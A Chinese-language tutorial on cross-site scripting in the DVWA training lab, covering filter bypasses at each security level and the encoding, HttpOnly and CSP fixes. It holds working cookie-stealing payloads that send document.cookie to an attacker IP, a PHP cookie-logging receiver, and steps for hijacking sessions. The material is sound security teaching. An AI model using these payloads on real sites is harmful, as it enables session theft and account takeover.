⚠️ 免责声明 :本文所有实验均在 授权靶场 DVWA 中进行,严禁对任何未授权系统进行同类测试,触犯法律后果自负。
一、为什么 XSS 值得你花一整篇文章去啃?
跨站脚本攻击(Cross-Site Scripting,XSS)常年霸榜 OWASP Top 10 ,但它也是最容易被误读为"只会弹个 alert(1)"的漏洞。
真正的 XSS 攻击链是这样的:
发现输入点未过滤 → 注入恶意JS → 诱导受害者触发 → JS窃取Cookie/Session → 攻击者用Cookie伪造身份登录后台
一句话概括:XSS 的本质不是"让浏览器弹窗",而是让受害者的浏览器在"受信任的上下文"里替攻击者干活。
本文以 **DVWA(Damn Vulnerable Web Application)** 为靶场,完整走完这条攻击链,并逐级别拆解源码中的防御与绕过思路。
二、实验环境搭建
2.1 最快的方式:Docker 一把梭
bash
# 拉取镜像
docker pull vulnerables/web-dvwa
# 启动容器,映射端口 8080
docker run -d --name dvwa -p 8080:80 vulnerables/web-dvwa
访问 http://localhost:8080/setup.php,点击 Create / Reset Database 完成初始化。
默认账密:admin / password
登录后左侧菜单 → DVWA Security → 选 Low → Submit。
2.2 关闭浏览器的 XSS Auditor(实验必需)
现代 Chrome/Edge 自带 XSS 拦截器,会挡掉我们的反射型测试。实验时需要临时放行:
-
地址栏输入
chrome://flags/#disable-xss-auditor -
将 XSS Auditor 设为
Disabled -
重启浏览器
📌 实际渗透中,绕过浏览器 XSS Auditor 是另一门学问(过滤绕过、编码混淆、SVG向量等),但靶场学习阶段先关掉它,专注理解漏洞本质。
三、反射型 XSS(Reflected XSS)------ 从弹窗到真正的数据外传
3.1 漏洞定位
左侧菜单进入 XSS (Reflected) ,页面只有一个输入框 name。
正常输入:
Hello test
URL 变成了:
http://localhost:8080/vulnerabilities/xss_r/?name=test
这意味着:name参数的值被服务端原样"反射"回了 HTML 响应里。
3.2 Low 级别------零防御,直捣黄龙
先看源码 (点击页面下方 View Source):
// Low级别源码(核心片段)
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
$name = $_GET[ 'name' ];
echo "<pre>Hello " . $name . "</pre>";
}
没有任何过滤,$name直接拼进 HTML → 经典注入点。
PoC 验证(输入框直接填):
<script>alert(1)</script>
或直接在地址栏构造:
http://localhost:8080/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
看到 Cookie 弹窗 → 漏洞确认 ✅
3.3 不只是弹窗:写一段真正的 Cookie 窃取链
弹窗只能"证明存在",下面才是"利用"------把 Cookie 悄悄发到攻击者服务器。
Step 1:在 Kali / 攻击者机器上起一个接收端
# 确保 Apache 在跑
sudo systemctl start apache2
cd /var/www/html
创建 steal.php:
<?php
// /var/www/html/steal.php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'NO_COOKIE';
$log = fopen("cookies.log", "a");
fwrite($log, "[" . date('Y-m-d H:i:s') . "] " . $cookie . "\n");
fclose($log);
// 返回一张 1x1 透明 GIF,避免控制台报错
header("Content-Type: image/gif");
echo base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7");
?>
# 确保可写
sudo chown www-data:www-data /var/www/html/cookies.log
touch /var/www/html/cookies.log
sudo chown www-data:www-data /var/www/html/cookies.log
假设攻击者 IP 为 192.168.56.101。
Step 2:构造 XSS Payload
<script>
new Image().src="http://192.168.56.101/steal.php?c="+encodeURIComponent(document.cookie);
</script>
最终恶意 URL:
http://localhost:8080/vulnerabilities/xss_r/?name=<script>new Image().src="http://192.168.56.101/steal.php?c="+encodeURIComponent(document.cookie)</script>
Step 3:诱导触发 + 查看战果
受害者点了这个链接后,浏览器会在"目标站的上下文中"携带 当前 Session Cookie 发起请求到攻击者服务器。
查看窃取到的 Cookie:
cat /var/www/html/cookies.log
# 输出类似:
# [2026-06-22 10:33:01] security=low; PHPSESSID=nq7b3r5um8p4t6c1s4c2qtlsv0
拿到 PHPSESSID之后,攻击者可以在自己的浏览器中用 EditThisCookie 插件直接替换 Session ID,免密码登录受害者账号
四、Medium 级别------过滤器的"假象"与绕过
把 DVWA Security 切到 Medium,再看一下源码:
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
防御思路 :把 <script>字符串替换为空。
问题在哪?
| 绕过手法 | Payload | 原理 |
|---|---|---|
| 大小写混淆 | <SCRIPT>alert(1)</SCRIPT> |
str_replace默认区分大小写 |
| 双写嵌套 | <scr<script>ipt> |
删掉里面的 <script>后,外层重新拼成 <script> |
| 放弃 script 标签 | <img src=x onerror=alert(document.cookie)> |
不用 script 标签,改用事件处理器 |
实战中最稳的是 事件处理器路线(不受大小写/单次替换影响):
<img src=x onerror="new Image().src='http://192.168.56.101/steal.php?c='+encodeURIComponent(document.cookie)">
构造到 URL 里记得做 URL 编码:
?name=<img src=x onerror="new Image().src='http://192.168.56.101/steal.php?c='+encodeURIComponent(document.cookie)">
💡 这里也是用 Burp Suite 抓包改参的好时机------前端输入框可能有长度限制,抓包后在 Proxy → Send to Repeater 里自由编辑 payload,绕过前端 maxlength。
五、High 级别------正则过滤 + 为什么 "Blacklist" 永远不够
切到 High,源码升级为:
$name = preg_replace( '/<(.*)s*c*r*i*p*t/i', '', $_GET[ 'name' ] );
正则 /<(.*)s*c*r*i*p*t/i试图把任何形式的 <script...>干掉,且不区分大小写。
但注意:它依然走的是 黑名单思路------只堵 <script>,没堵其他所有能执行 JS 的途径。
有效绕过(不需要 script 标签):
<body onload="alert(document.cookie)">
或 img 向量:
<img src=x onerror="location='http://192.168.56.101/steal.php?c='+encodeURIComponent(document.cookie)">
传入方式(URL编码后):
?name=%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27http%3A%2F%2F192.168.56.101%2Fsteal.php%3Fc%3D%27%2BencodeURIComponent%28document.cookie%29%22%3E
⚔️ High 级别给我们的启示:黑名单过滤本质是"猫鼠游戏"------你堵一种写法,攻击者换一种向量。真正的修法在下面 Impossible 级别。
六、Impossible 级别------这才是正确写法
看源码:
$name = htmlspecialchars( $_GET[ 'name' ] );
echo "<pre>Hello " . $name . "</pre>";
一句话:输出时做 HTML 实体编码。
| 字符 | 编码后 |
|---|---|
< |
< |
> |
> |
" |
" |
' |
' |
& |
& |
浏览器把 <script>当成纯文本渲染,永远不会当做标签解析 → XSS 彻底死透。
✅ 开发侧正确防御清单
// 1. 输出到 HTML 上下文 → htmlspecialchars()
echo "<div>" . htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8') . "</div>";
// 2. 设置 Cookie 时加 HttpOnly(让 JS 读不到 Cookie)
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true, // ← 关键
'samesite' => 'Strict'
]);
再加一层 **CSP(Content Security Policy)** 响应头:
Content-Security-Policy: default-src 'self'; script-src 'self'
这样即使有注入点,浏览器也会拒绝执行 inline script。
七、存储型 XSS 简要补充------"一次投毒,永久触发"
反射型需要诱骗点击链接,存储型 则是把 payload 写进数据库 ,之后每一个访问该页面的用户自动中招。
DVWA 的 **XSS (Stored)** 模块就是一个留言板:
-
Message 字段虽然做了
htmlspecialchars()过滤(Impossible 级别) -
但 Name 字段在某些级别下过滤不严
Low 级别实战步骤:
Name: attacker
Message: <script>new Image().src="http://192.168.56.101/steal.php?c="+encodeURIComponent(document.cookie)</script>
⚠️ 前端 Name 输入框有
maxlength="10"限制 → 按 F12 → Inspector → 直接改 input 的 maxlength 为 200 → 再填 payload → Submit。
换一台"受害者浏览器"访问同一页 → Cookie 无声无息飞走。
八、全文总结 & 思维导图
XSS 攻击链(完整闭环)
│
├── 1. 信息收集/侦察 → 找输入点(搜索框、留言板、URL参数、HTTP头)
├── 2. 漏洞探测 → <script>alert(1)</script> PoC
├── 3. Payload 工程化 → 不用 alert,用 Image()/fetch() 外传数据
├── 4. 绕过过滤(Medium/High)→ 大小写 / 双写 / 事件处理器 / 编码混淆
├── 5. 会话劫持 → 窃取 PHPSESSID → 替换 Cookie → 免密登录
└── 6. 防御(Impossible) → htmlspecialchars + HttpOnly + CSP + 输入白名单
🏷️ 写在最后
XSS 看着简单,深挖下去却牵着 浏览器解析引擎、同源策略、DOM 生命周期、Cookie 安全模型 一整条知识链。能把这个链从"弹窗"推到"会话被劫持",才算真正摸到了 Web 安全的门槛。
如果你觉得这篇对你有帮助,点个 👍、收个藏,评论区可以交流:你在实际项目中遇到过最离谱的 XSS 触发点是什么?(搜索框?CSV导出?PDF生成器?)